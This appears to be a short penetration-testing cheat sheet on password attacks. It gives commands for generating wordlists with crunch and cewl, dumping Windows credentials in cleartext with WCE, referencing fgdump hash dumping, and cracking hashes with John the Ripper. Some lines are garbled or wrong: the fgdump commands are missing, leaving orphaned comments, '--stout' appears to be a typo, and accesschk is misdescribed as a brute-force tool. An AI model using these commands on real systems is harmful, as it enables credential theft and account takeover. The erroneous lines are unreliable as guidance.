Password Attacks

Various password attacks

Password Attacks are based on:

  1. Guess

  2. Brute-force

  3. Dictionary


man crunch 
ls -la /usr/share/crunch/charset.lst 

crunch 6 6 0123456789ABCDEF -o list.txt 
# Create a file of passwords 6 characters long using 0-F and save it to a file 

crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha -o mixedalpha.txt 
# 4 character passwords using pre-defined crunch list 

crunch 8 8 -t ,@@^^%%% |more 
# Similar to Abc$#123, Jud()666, Hol&&278 passwords


You need to have admin access to run those two commands.

# Run it. Dumps the hashes to a file to be used and cracked later 

# Access the contents of the file generated from fgdump.exe command

WCE (Windows Credential Editor)

Need admin access.

wce64.exe -w 
# Run it. Dumps password in clear text

John the Ripper

john hashes.txt 
# Run it. Cracks the hash passwords on Kali Linux using dictionary brute-force attack(MAY TAKE LONG) 

Password Profiling

Using word/phrases for organisation and include them in our wordlist (e.g 33 Company uses thirtythree password combinations)

Tool: cewl Create passwords from words/phrases

cewl -m 6 -w /root/domain-cel.txt 
# Will create a password txt for the domain

In combination with John the Ripper

vi /etc/john/john.conf 
(ADD) $[0-9]$[0-9] 
john --wordlist=megacorp-cewl.txt --rules --stout > mutated.txt

Brute force password attack on administrator.

accesschk -v -t -u administrator -P /usr/share/dirb/wordlists/common.txt


Last updated